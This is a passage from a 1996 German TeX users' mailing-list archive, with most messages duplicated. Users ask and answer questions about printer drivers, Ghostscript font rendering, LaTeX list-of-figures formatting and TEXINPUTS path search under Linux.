ueberschritten, dann wird der Listen-Eintrag ebenfalls automatisch geloescht. Auch hier wird eine Nachricht geschickt, die dann aber in der Regel ebenfalls beim Empfaenger nicht ankommt.=3D20 Der einzige, der alle Nachrichten in Kopie bekommt, und sie auch alle lesen=3D =3D20 darf ist der List-Owner :-(:-(:-(.=3D20 =3D20 > Und TTsch=3DEA > ps >=3D20 Mit freundlichen Gruessen Joachim Lammarsch From root Tue Aug 27 16:01:50 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Schoepf Date: Tue, 27 Aug 1996 16:01:04 +0200 Subject: anfrage an ftpmaint@dante.de Peter Gaertner writes: > Ich suche fuer LaTeX2e unter MSDOS einen Druckertreiber fuer den Drucker > Cannon Bubble-Jet 600. Mit bj_base.fli druckt der Drucker nur unsinnige > Zeichen. Ich waere ihnen wirklich dankbar, wenn Sie mir weiterhelfen > koennten. > Meine E-Mail Adresse ist > gaertnpr@cip.mathematik.uni-stuttgart.de > Vielen Dank im Voraus fuer Ihre Muehen > Peter Gaertner Bitte richten Sie solche Anfragen nicht an ftpmaint@dante.de, sondern an eine der TeX-Mailing-Listen, zum Beispiel tex-d-l@vm.gmd.de an die ich diese Mail weiterleite. -- Rainer Sch=EApf Zentrum f=F0r Datenverarbeitung A point of view can be a dangerous der Universit=A2t Mainz luxury when substituted for insight Anselm-Franz-von-Bentzel-Weg 12 and understanding. D-55099 Mainz Germany Herbert Marshall McLuhan: The Gutenberg Galaxy From root Tue Aug 27 16:01:50 1996 Message-Id: <199608271401.QAA22697@roquefort.zdv.Uni-Mainz.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Schoepf To: Multiple recipients of list TEX-D-L In-Reply-To: Ich suche fuer LaTeX2e unter MSDOS einen Druckertreiber fuer den Drucker= > Cannon Bubble-Jet 600. Mit bj_base.fli druckt der Drucker nur unsinnige > Zeichen. Ich waere ihnen wirklich dankbar, wenn Sie mir weiterhelfen > koennten. > Meine E-Mail Adresse ist > gaertnpr@cip.mathematik.uni-stuttgart.de > Vielen Dank im Voraus fuer Ihre Muehen > Peter Gaertner Bitte richten Sie solche Anfragen nicht an ftpmaint@dante.de, sondern an eine der TeX-Mailing-Listen, zum Beispiel tex-d-l@vm.gmd.de an die ich diese Mail weiterleite. -- Rainer Sch=EApf Zentrum f=F0r Datenverarbeitung A point of view can be a dange= rous der Universit=A2t Mainz luxury when substituted for in= sight Anselm-Franz-von-Bentzel-Weg 12 and understanding. D-55099 Mainz Germany Herbert Marshall McLuhan: The Gutenberg Galaxy From root Tue Aug 27 16:26:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Tue, 27 Aug 1996 16:23:26 +0200 Subject: gs Frage... Falls die Frage nicht hierhin gehoert, dann bitte ich um Tips fuer die angebrachte Liste/Newsgroup: Wenn ich in LaTeX-Dokumenten avantgarde-Schriften verwende (z.B. mit teTeX unter LaTeX2.09 oder LaTeX2e) so beobachte ich folgenden Effekt: a) der deutschsprachige Text erscheint auf einem PostScript-Drucker mit allen Umlauten korrekt. b) dieselbe *-ps-Datei (wie unter (a) mit dvips erzeugt) wird mit Ghostscript (Version ist egal, auch gs-4.01 mit neuesten Fonts verhaelt sich exakt ~so) mit "ss" anstelle von "sz" ausgedruckt. Alle anderen Umlaute sind korrekt. Frage: Welche Erklaerung gibt es dafuer und kann ich etwas tun, um auch mit Ghostscript an mein geliebtes "sz" zu kommen...? Danke / Gruesse -KB ----------------------------------------------------------------------------- Sender: Konrad Blum Dept.Phys,Univ.Oldenburg, PO Box 2503, D-26111 Oldenburg/Germany Phone: +49-441-798-3212, -3544, -3402 -- Fax: +49-441-798-3326 From root Tue Aug 27 20:22:21 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Tue, 27 Aug 1996 18:53:59 +0200 Subject: Re: gs Frage... In Konrad Blum writes: [...] >Wenn ich in LaTeX-Dokumenten avantgarde-Schriften verwende (z.B. >mit teTeX unter LaTeX2.09 oder LaTeX2e) so beobachte ich folgenden >Effekt: >a) der deutschsprachige Text erscheint auf einem PostScript-Drucker > mit allen Umlauten korrekt. >b) dieselbe *-ps-Datei (wie unter (a) mit dvips erzeugt) wird > mit Ghostscript (Version ist egal, auch gs-4.01 mit neuesten Fonts > verhaelt sich exakt ~so) mit "ss" anstelle von "sz" ausgedruckt. > Alle anderen Umlaute sind korrekt. >Frage: Welche Erklaerung gibt es dafuer und kann ich etwas tun, > um auch mit Ghostscript an mein geliebtes "sz" zu kommen...? Konrad, h"ochstwahrscheinlich hat Dein Drucker andere avantgarde-Schriften als GhostScript. Versuch mal mit nfssfont.tex (im LaTeX-Kernel Verzeichnis) eine Fonttabelle zu erzeugen und jag sie durch den Drucker und durch GS. Abhilfe wei"s ich aber auch nicht :-( Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE life is a strange thing - just when you think you learned how to use it - is's gone (Shakespears Sister: Hello (Turn Your Radio On)) From root Tue Aug 27 20:22:21 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder To: Multiple recipients of list TEX-D-L Date: Tue, 27 Aug 1996 18:53:59 +0200 Subject: Re: gs Frage... In Konrad Blum writes: [...] >Wenn ich in LaTeX-Dokumenten avantgarde-Schriften verwende (z.B. >mit teTeX unter LaTeX2.09 oder LaTeX2e) so beobachte ich folgenden >Effekt: >a) der deutschsprachige Text erscheint auf einem PostScript-Drucker > mit allen Umlauten korrekt. >b) dieselbe *-ps-Datei (wie unter (a) mit dvips erzeugt) wird > mit Ghostscript (Version ist egal, auch gs-4.01 mit neuesten Fonts > verhaelt sich exakt ~so) mit "ss" anstelle von "sz" ausgedruckt. > Alle anderen Umlaute sind korrekt. >Frage: Welche Erklaerung gibt es dafuer und kann ich etwas tun, > um auch mit Ghostscript an mein geliebtes "sz" zu kommen...? Konrad, h"ochstwahrscheinlich hat Dein Drucker andere avantgarde-Schriften als GhostScript. Versuch mal mit nfssfont.tex (im LaTeX-Kernel Verzeichnis) eine Fonttabelle zu erzeugen und jag sie durch den Drucker und durch GS. Abhilfe wei"s ich aber auch nicht :-( Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE life is a strange thing - just when you think you learned how to use it - is's gone (Shakespears Sister: Hello (Turn Your Radio On)) From root Tue Aug 27 20:31:05 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Michael Johann To: Multiple recipients of list TEX-D-L Date: Tue, 27 Aug 1996 20:01:02 +0200 Subject: letter Hallo, meine Anfrage in Bezug auf \documentclass{letter} k"onnt Ihr vergessen. Gru"s: Michael ***************************************************************************= *** _/ _/ _/ Michael JOHANN _/ _/ _/ _/ _/ Universitaet Landau _/ _/ _/ _/ Institut fuer Mathematik _/ _/ _/ Im Fort 7 _/ _/ _/ D-76829 Landau, Germany _/ _/ Fax: (06341) 280131 _/ _/ Tel: (06341) 280-204 o. -171 _/_/_/_/ e-Mail: johann@uni-landau.de ***************************************************************************= *** From root Tue Aug 27 20:31:05 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Michael Johann Date: Tue, 27 Aug 1996 20:01:02 +0200 Subject: letter Hallo, meine Anfrage in Bezug auf \documentclass{letter} k"onnt Ihr vergessen. Gru"s: Michael ****************************************************************************** _/ _/ _/ Michael JOHANN _/ _/ _/ _/ _/ Universitaet Landau _/ _/ _/ _/ Institut fuer Mathematik _/ _/ _/ Im Fort 7 _/ _/ _/ D-76829 Landau, Germany _/ _/ Fax: (06341) 280131 _/ _/ Tel: (06341) 280-204 o. -171 _/_/_/_/ e-Mail: johann@uni-landau.de ****************************************************************************** From x41 Sun Aug 25 14:47:58 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Sun, 25 Aug 1996 14:47:43 -6000 Subject: texinfo doppelseitig? Hallo! Wie kann ich texinfo-Docus doppelseitig drucken. Insbesondere wechselnde Kopfzeilen (Seitennummern immer aussen) w"aren sch"on. ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From x41 Sun Aug 25 14:47:58 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Leo Broska To: Multiple recipients of list TEX-D-L Date: Sun, 25 Aug 1996 14:47:43 -6000 Subject: texinfo doppelseitig? Hallo! Wie kann ich texinfo-Docus doppelseitig drucken. Insbesondere wechselnde Kopfzeilen (Seitennummern immer aussen) w"aren sch"on. ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |----------------------------= -- ----------------------------------------------| Hey Gott, Alte, seit wan= n eMail: broska@salbei.iwr.uni-heidelberg.de |----------------------------= -- ----------------------------------------------| verstehst Du mich als Man= n? |----------------------------= -- From root Wed Aug 28 10:13:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun Date: Wed, 28 Aug 1996 10:13:08 +0200 Subject: Inhaltsverzeichnis wie Kopka? Hallo zusammen, ein Freund von mir schreibt gerade seine Diplomarbeit zusammen und hat dazu mal in den Kopka gesehen. Was mir vorher nicht aufgefallen ist, m"ochte er gerne auch "ubernehmen, n"amlich da"s Verzeichnis der Bilder und der Tabellen. Die Verzeichnisse haben in dem besagten Kopka (1. Auflage 1994) vor der Bildernummer noch jeweils ein ``Tabelle'' oder ``Diagramm'' stehen. Kennt jemand von Euch einen -- oder den -- Style, mit dem man so etwas einbauen kann. Wenn Nein, kann uns dann vielleicht jemand auf die Spr"unge helfen, wie den der Original-Style von Herrn Kopka ausgesehen haben mag? Ach so, die ber"uhmte Frage aller Fragen, die habe ich vergessen. Ich wei"s leider nicht, ob Falk schon LaTeX verwendet, oder ob er noch das LaTeX-2.09 gebraucht. Daher w"are ein Style f"ur beide Systeme sicher das beste. Sorry, das war mein Fehler, hoffentlich kein zu schwerer Fehler! mit bestem Dank im voraus Jan From root Wed Aug 28 10:13:30 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun To: Multiple recipients of list TEX-D-L Date: Wed, 28 Aug 1996 10:13:08 +0200 Subject: Inhaltsverzeichnis wie Kopka? Hallo zusammen, ein Freund von mir schreibt gerade seine Diplomarbeit zusammen und hat dazu mal in den Kopka gesehen. Was mir vorher nicht aufgefallen ist, m"ochte er gerne auch "ubernehmen, n"amlich da"s Verzeichnis der Bilder und der Tabellen. Die Verzeichnisse haben in dem besagten Kopka (1. Auflage 1994) vor der Bildernummer noch jeweils ein ``Tabelle'' oder ``Diagramm'' stehen. Kennt jemand von Euch einen -- oder den -- Style, mit dem man so etwas einbauen kann. Wenn Nein, kann uns dann vielleicht jemand auf die Spr"unge helfen, wie den der Original-Style von Herrn Kopka ausgesehen haben mag? Ach so, die ber"uhmte Frage aller Fragen, die habe ich vergessen. Ich wei"s leider nicht, ob Falk schon LaTeX verwendet, oder ob er noch das LaTeX-2.09 gebraucht. Daher w"are ein Style f"ur beide Systeme sicher das beste. Sorry, das war mein Fehler, hoffentlich kein zu schwerer Fehler! mit bestem Dank im voraus Jan From root Wed Aug 28 10:35:19 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 28 Aug 1996 10:33:59 +0200 Subject: Re: Inhaltsverzeichnis wie Kopka? Wed, 28 Aug 1996 10:13:08 +0200) Jan Braun schreibt: : ein Freund von mir schreibt gerade seine Diplomarbeit zusammen und hat : dazu mal in den Kopka gesehen. Was mir vorher nicht aufgefallen ist, : m"ochte er gerne auch "ubernehmen, n"amlich da"s Verzeichnis der : Bilder und der Tabellen. Die Verzeichnisse haben in dem besagten Kopka : (1. Auflage 1994) vor der Bildernummer noch jeweils ein ``Tabelle'' : oder ``Diagramm'' stehen. Naja, ich enthalte mich mal lieber jedweder Wertung dazu. (Was auch schon Wertung genug sein kann :-) : Kennt jemand von Euch einen -- oder den -- Style, mit dem man so etwas : einbauen kann. : : Wenn Nein, kann uns dann vielleicht jemand auf die Spr"unge helfen, : wie den der Original-Style von Herrn Kopka ausgesehen haben mag? [...] Im "LaTeX-Begleiter" bzw. den Kommentaren von LaTeX(2e) mal nach \l@section, \@dottedtocline und \numberline nachschlagen und nachlesen. Fuer die Verzeichniszeilen fuer Abbildungen und Tafeln sind dies \l@figure und \l@table, die man entsprechend umdefinieren muss. Aus article.cls/.sty: \newcommand{\l@figure}{\@dottedtocline{1}{1.5em}{2.3em}} oder ohne die "Argument-Nicht-Doppelt-Lesen-Optimierung": \newcommand{\l@figure}[2]{\@dottedtocline{1}{1.5em}{2.3em}{#1}{#2}} wobei die 2.3em die "width of box for number if the `title' has a \numberline command" und #1 den "title" angibt. Diese `title'-Argument #1 enthaelt dabei so etwas wie \numberline{} Abbildungsunterschrift Wenn man also noch zusaetzlich zur Nummer noch ein "Abbildung" davorsetzen will, muss man die 2.3em entsprechend erhoehen und die Definition von \numberline etwas umdefinieren. Das macht man am besten innerhalb von \l@figure bzw. \l@table, z.B. mit \renewcommand{\l@figure}[2]{% \begingroup \let\ORIGnumberline=3D\numberline \renewcommand{\numberline}[1]{\ORIGnumberline{\figurename{} ##1}}% \@dottedtocline{1}{1.5em}{6.3em}{#1}{#2}% \endgroup} \renewcommand{\l@table}[2]{% \begingroup \let\ORIGnumberline=3D\numberline \renewcommand{\numberline}[1]{\ORIGnumberline{\tablename{} ##1}}% \@dottedtocline{1}{1.5em}{6.3em}{#1}{#2}% \endgroup} Die 6.3em muss man noch entsprechend anpassen und das Ganze dann in ein .sty-File packen oder in der Praeambel mit \makeatletter ... \makeatother klammern. (Obiges funktioniert sowohl fuer LaTeX(2e) als auch fuer das veraltete LaTeX 2.09.) Gruesse, -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg 26.02.-28.02.97: DANTE '97 und 16. Mitgliederversammlung in Muenchen =3D=3D> mehr Infos jeweils ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From root Wed Aug 28 10:35:19 1996 Message-Id: <199608280833.KAA03132@isle.informatik.uni-stuttgart.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: (message from Jan Braun on= Date: Wed, 28 Aug 1996 10:33:59 +0200 Subject: Re: Inhaltsverzeichnis wie Kopka? Wed, 28 Aug 1996 10:13:08 +0200) Jan Braun schreibt: : ein Freund von mir schreibt gerade seine Diplomarbeit zusammen und hat : dazu mal in den Kopka gesehen. Was mir vorher nicht aufgefallen ist, : m"ochte er gerne auch "ubernehmen, n"amlich da"s Verzeichnis der : Bilder und der Tabellen. Die Verzeichnisse haben in dem besagten Kopka : (1. Auflage 1994) vor der Bildernummer noch jeweils ein ``Tabelle'' : oder ``Diagramm'' stehen. Naja, ich enthalte mich mal lieber jedweder Wertung dazu. (Was auch schon Wertung genug sein kann :-) : Kennt jemand von Euch einen -- oder den -- Style, mit dem man so etwas : einbauen kann. : : Wenn Nein, kann uns dann vielleicht jemand auf die Spr"unge helfen, : wie den der Original-Style von Herrn Kopka ausgesehen haben mag? [...] Im "LaTeX-Begleiter" bzw. den Kommentaren von LaTeX(2e) mal nach \l@section, \@dottedtocline und \numberline nachschlagen und nachlesen. Fuer die Verzeichniszeilen fuer Abbildungen und Tafeln sind dies \l@figure und \l@table, die man entsprechend umdefinieren muss. Aus article.cls/.sty: \newcommand{\l@figure}{\@dottedtocline{1}{1.5em}{2.3em}} oder ohne die "Argument-Nicht-Doppelt-Lesen-Optimierung": \newcommand{\l@figure}[2]{\@dottedtocline{1}{1.5em}{2.3em}{#1}{#2}} wobei die 2.3em die "width of box for number if the `title' has a \numberline command" und #1 den "title" angibt. Diese `title'-Argument #1 enthaelt dabei so etwas wie \numberline{} Abbildungsunterschrift Wenn man also noch zusaetzlich zur Nummer noch ein "Abbildung" davorsetzen will, muss man die 2.3em entsprechend erhoehen und die Definition von \numberline etwas umdefinieren. Das macht man am besten innerhalb von \l@figure bzw. \l@table, z.B. mit \renewcommand{\l@figure}[2]{% \begingroup \let\ORIGnumberline=3D\numberline \renewcommand{\numberline}[1]{\ORIGnumberline{\figurename{} ##1}}% \@dottedtocline{1}{1.5em}{6.3em}{#1}{#2}% \endgroup} \renewcommand{\l@table}[2]{% \begingroup \let\ORIGnumberline=3D\numberline \renewcommand{\numberline}[1]{\ORIGnumberline{\tablename{} ##1}}% \@dottedtocline{1}{1.5em}{6.3em}{#1}{#2}% \endgroup} Die 6.3em muss man noch entsprechend anpassen und das Ganze dann in ein .sty-File packen oder in der Praeambel mit \makeatletter ... \makeatother klammern. (Obiges funktioniert sowohl fuer LaTeX(2e) als auch fuer das veraltete LaTeX 2.09.) Gruesse, -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg 26.02.-28.02.97: DANTE '97 und 16. Mitgliederversammlung in Muenchen =3D=3D> mehr Infos jeweils ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From root Wed Aug 28 11:07:48 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Wed, 28 Aug 1996 11:06:15 +0200 Subject: TeX unter Linux Hallo, ich habe gerade auf meinem PC Linux 2.0 installiert (und bin davon begeistert, aber das nur nebenbei). Bisher habe ich EmTeX unter DOS und OS/2 im Novell-Netz gemacht. Das neue Linux unterst"utzt jetzt auch das IPX-Protokoll, so da"s ich Platten des Novell-Servers mounten kann. Sch"on dachte ich, dann benutze ich doch gleich alle TeX-Dateien (*.tex, *.mf, *.tfm) des Novell-Servers, was zwar nicht ganz so schnell geht, aber Plattenplatz spart und was noch wesentlicher ist, nur immer eine Neuinstallation von Paketen wie LaTeX2e, DC-Fonts etc. erfordert. Damit spare ich mir wieder die Zeit, weil ich derjenige bei uns bin, der sich um TeX k"ummert. Die Sache funktioniert so lange, wie keine "Subsubdirectories" durchsucht werden m"ussen. Das equivalent zum EmTeX set TEXINPUT=3D\tex\texinput!! ist unter Linux TEXINPUTS=3D/tex/texinput// (man beachte das `S' am Ende der Variablen =3D 1. Falle f"ur Umsteiger) wobei "!!" bzw. "//" bedeuten, da"s alle folgenden Unterverzeichnisse durchsucht werden. Bei EmTeX ist das uneingeschr"ankt richtig. Auf einer normalen HPFS-Linux-Platte klappt es bei mir mit den "//" auch. Aber leider, leider klappt es eben nicht, wenn man auf die Novellplatte, die per ncpmount gemountet wurde. Da wird nur das n"achsth"ohere Verzeichnis durchsucht, also beispielsweise wird der Inhalt von /tex/texinput/latex gefunden, NICHT jedoch der Inhalt von /tex/texinput/latex/ams . Wei"s jemand Rat, was ich tun kann, ohne meine Verzeichnisstruktur aufzugeben und ohne meine TEXINPUTS-Variable ewig lang werden zu lassen? Ich vermute, da"s die Ursache f"ur den Fehler darin zu Suchen ist, da"s die kpathsea-Bibliothek, die stat() aufruft, sich auf der Novellplatte nicht richtig zurechtfindet und keine "Subsubdirectoies" findet. Etwas ratlos Andreas. From root Wed Aug 28 11:07:48 1996 Message-Id: <199608280906.AA017283174@mlucom.urz.Uni-Halle.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille To: Multiple recipients of list TEX-D-L Date: Wed, 28 Aug 1996 11:06:15 +0200 Subject: TeX unter Linux Hallo, ich habe gerade auf meinem PC Linux 2.0 installiert (und bin davon begeistert, aber das nur nebenbei). Bisher habe ich EmTeX unter DOS und OS/2 im Novell-Netz gemacht. Das neue Linux unterst"utzt jetzt auch das IPX-Protokoll, so da"s ich Platten des Novell-Servers mounten kann. Sch"on dachte ich, dann benutze ich doch gleich alle TeX-Dateien (*.tex, *.mf, *.tfm) des Novell-Servers, was zwar nicht ganz so schnell geh= t, aber Plattenplatz spart und was noch wesentlicher ist, nur immer eine Neuinstallation von Paketen wie LaTeX2e, DC-Fonts etc. erfordert. Damit spare ich mir wieder die Zeit, weil ich derjenige bei uns bin, der sich um TeX k"ummert. Die Sache funktioniert so lange, wie keine "Subsubdirectories" durchsucht werden m"ussen. Das equivalent zum EmTeX set TEXINPUT=3D\tex\texinput!! ist unter Linux TEXINPUTS=3D/tex/texinput// (man beachte das `S' am Ende der Variablen =3D 1. Falle f"ur Umsteiger) wobei "!!" bzw. "//" bedeuten, da"s alle folgenden Unterverzeichnisse durchsucht werden. Bei EmTeX ist das uneingeschr"ankt richtig. Auf einer normalen HPFS-Linux-Platte klappt es bei mir mit den "//" auch. Aber leider, leider klappt es eben nicht, wenn man auf die Novellplatte, die per ncpmount gemountet wurde. Da wird nur das n"achsth"ohere Verzeichni= s durchsucht, also beispielsweise wird der Inhalt von /tex/texinput/latex gefunden, NICHT jedoch der Inhalt von /tex/texinput/latex/ams . Wei"s jemand Rat, was ich tun kann, ohne meine Verzeichnisstruktur aufzugeb= en und ohne meine TEXINPUTS-Variable ewig lang werden zu lassen? Ich vermute, da"s die Ursache f"ur den Fehler darin zu Suchen ist, da"s die kpathsea-Bibliothek, die stat() aufruft, sich auf der Novellplatte= nicht richtig zurechtfindet und keine "Subsubdirectoies" findet. Etwas ratlos Andreas. From root Wed Aug 28 13:11:38 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3D"us-ascii" Mime-Version: 1.0 Content-Type: text/plain; charset=3DUS-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Nils Bokermann Date: Wed, 28 Aug 1996 13:15:58 +0200 Subject: Re: TeX unter Linux > Sch"on dachte ich, dann benutze ich doch gleich alle TeX-Dateien > (*.tex, *.mf, *.tfm) des Novell-Servers, was zwar nicht ganz so schnell geht, > aber Plattenplatz spart und was noch wesentlicher ist, nur immer eine > Neuinstallation von Paketen wie LaTeX2e, DC-Fonts etc. erfordert. > Damit spare ich mir wieder die Zeit, weil ich derjenige bei uns bin, > der sich um TeX k"ummert. > > Die Sache funktioniert so lange, wie keine "Subsubdirectories" durchsucht > werden m"ussen. Das equivalent zum EmTeX > > set TEXINPUT=3D\tex\texinput!! > > ist unter Linux > > TEXINPUTS=3D/tex/texinput// > > > /tex/texinput/latex > > gefunden, NICHT jedoch der Inhalt von > > /tex/texinput/latex/ams . > > Wei"s jemand Rat, was ich tun kann, ohne meine Verzeichnisstruktur aufzugeben > und ohne meine TEXINPUTS-Variable ewig lang werden zu lassen? Ich hatte zwar nicht das Problem, da"s ich auf ein Novell-Netz zugreifen mu"ste, aber ich denke, da"s du Probleme mit den verschiedenen codierungen bekommen wirst. Zu deinem Problem: gib doch einfach _alle_ Pfade an: export TEXINPUTS=3D/tex/texinput:/tex/texinput/latex:[...] Tsch"u"s, Nils -- Nils Bokermann Phone: +49 521 891279 From root Wed Aug 28 13:11:38 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3D"us-ascii" Mime-Version: 1.0 Content-Type: text/plain; charset=3DUS-ASCII Content-Transfer-Encoding: 7bit Message-Id: <199608281115.NAA03093@micky.hrz.uni-bielefeld.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Nils Bokermann To: Multiple recipients of list TEX-D-L In-Reply-To: <199608280906.AA017283174@mlucom.urz.Uni-Halle.DE> from "Andr= Date: Wed, 28 Aug 1996 13:15:58 +0200 Subject: Re: TeX unter Linux > Sch"on dachte ich, dann benutze ich doch gleich alle TeX-Dateien > (*.tex, *.mf, *.tfm) des Novell-Servers, was zwar nicht ganz so schnell g= eht, > aber Plattenplatz spart und was noch wesentlicher ist, nur immer eine > Neuinstallation von Paketen wie LaTeX2e, DC-Fonts etc. erfordert. > Damit spare ich mir wieder die Zeit, weil ich derjenige bei uns bin, > der sich um TeX k"ummert. > > Die Sache funktioniert so lange, wie keine "Subsubdirectories" durchsucht= > werden m"ussen. Das equivalent zum EmTeX > > set TEXINPUT=3D\tex\texinput!! > > ist unter Linux > > TEXINPUTS=3D/tex/texinput// > > > /tex/texinput/latex > > gefunden, NICHT jedoch der Inhalt von > > /tex/texinput/latex/ams . > > Wei"s jemand Rat, was ich tun kann, ohne meine Verzeichnisstruktur aufzug= eben > und ohne meine TEXINPUTS-Variable ewig lang werden zu lassen? Ich hatte zwar nicht das Problem, da"s ich auf ein Novell-Netz zugreifen mu"ste, aber ich denke, da"s du Probleme mit den verschiedenen codierungen bekommen wirst. Zu deinem Problem: gib doch einfach _alle_ Pfade an: export TEXINPUTS=3D/tex/texinput:/tex/texinput/latex:[...] Tsch"u"s, Nils -- Nils Bokermann Phone: +49 521 891279 From root Wed Aug 28 16:38:21 1996 Message-Id: <199608281232.AA050105528@mlucom.urz.Uni-Halle.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille To: Multiple recipients of list TEX-D-L In-Reply-To: <199608281115.NAA03093@micky.hrz.uni-bielefeld.de>; from "Nil= Date: Wed, 28 Aug 1996 14:32:06 MESZ Subject: Re: TeX unter Linux > Ich hatte zwar nicht das Problem, da"s ich auf ein Novell-Netz zugreifen > mu"ste, aber ich denke, da"s du Probleme mit den verschiedenen codierunge= n > bekommen wirst. Das bef"urchte ich nicht, denn es geht ja um die Standarddateien, die ich einfach nur auf zwei Systemen warten m"u"ste. Den Aufwand m"ochte ich mir ersparen. > Zu deinem Problem: gib doch einfach _alle_ Pfade an: ^------ so einfach finde ich das nicht, denn es sind doch recht viele und die "Ubersicht geht einem dann schon mal verlo= ren. Eben das m"ochte ich vermeiden, wenn's sein mu"s sogar indem ich TeX mit entsprechenden Optionen (???) neu compiliere. Wei"s noch jemand etwas anderes? Andreas From root Wed Aug 28 16:38:21 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Wed, 28 Aug 1996 14:32:06 MESZ Subject: Re: TeX unter Linux > Ich hatte zwar nicht das Problem, da"s ich auf ein Novell-Netz zugreifen > mu"ste, aber ich denke, da"s du Probleme mit den verschiedenen codierungen > bekommen wirst. Das bef"urchte ich nicht, denn es geht ja um die Standarddateien, die ich einfach nur auf zwei Systemen warten m"u"ste. Den Aufwand m"ochte ich mir ersparen. > Zu deinem Problem: gib doch einfach _alle_ Pfade an: ^------ so einfach finde ich das nicht, denn es sind doch recht viele und die "Ubersicht geht einem dann schon mal verloren. Eben das m"ochte ich vermeiden, wenn's sein mu"s sogar indem ich TeX mit entsprechenden Optionen (???) neu compiliere. Wei"s noch jemand etwas anderes? Andreas From root Wed Aug 28 17:01:11 1996 Content-Type: text Message-Id: <9608281446.AA27422@gwdu26.gwdg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann To: Multiple recipients of list TEX-D-L In-Reply-To: <199608280906.AA017283174@mlucom.urz.Uni-Halle.DE> from "Andr= Date: Wed, 28 Aug 1996 16:46:56 +0200 Subject: Re: TeX unter Linux G"ottingen, den 28.08.1996 [Andreas Tille :] > > Hallo, > Hallo, > ich habe gerade auf meinem PC Linux 2.0 installiert (und bin davon > begeistert, aber das nur nebenbei). Bisher habe ich EmTeX unter DOS und > OS/2 im Novell-Netz gemacht. Das neue Linux unterst"utzt jetzt auch > das IPX-Protokoll, so da"s ich Platten des Novell-Servers mounten kann. > > Sch"on dachte ich, dann benutze ich doch gleich alle TeX-Dateien > (*.tex, *.mf, *.tfm) des Novell-Servers, was zwar nicht ganz so schnell g= eht, > aber Plattenplatz spart und was noch wesentlicher ist, nur immer eine > Neuinstallation von Paketen wie LaTeX2e, DC-Fonts etc. erfordert. > Damit spare ich mir wieder die Zeit, weil ich derjenige bei uns bin, > der sich um TeX k"ummert. > > Die Sache funktioniert so lange, wie keine "Subsubdirectories" durchsucht= > werden m"ussen. Das equivalent zum EmTeX > > set TEXINPUT=3D\tex\texinput!! > > ist unter Linux > > TEXINPUTS=3D/tex/texinput// > > (man beachte das `S' am Ende der Variablen =3D 1. Falle f"ur Umsteiger) > wobei "!!" bzw. "//" bedeuten, da"s alle folgenden Unterverzeichnisse > durchsucht werden. Bei EmTeX ist das uneingeschr"ankt richtig. Auf > einer normalen HPFS-Linux-Platte klappt es bei mir mit den "//" auch. HPFS oder Ext2-FS ?? > Aber leider, leider klappt es eben nicht, wenn man auf die Novellplatte, > die per ncpmount gemountet wurde. Da wird nur das n"achsth"ohere Verzeich= nis > durchsucht, also beispielsweise wird der Inhalt von > > /tex/texinput/latex > > gefunden, NICHT jedoch der Inhalt von > > /tex/texinput/latex/ams . > > Wei"s jemand Rat, was ich tun kann, ohne meine Verzeichnisstruktur aufzug= eben > und ohne meine TEXINPUTS-Variable ewig lang werden zu lassen? > > Ich vermute, da"s die Ursache f"ur den Fehler darin zu Suchen ist, > da"s die kpathsea-Bibliothek, die stat() aufruft, sich auf der Novellplat= te > 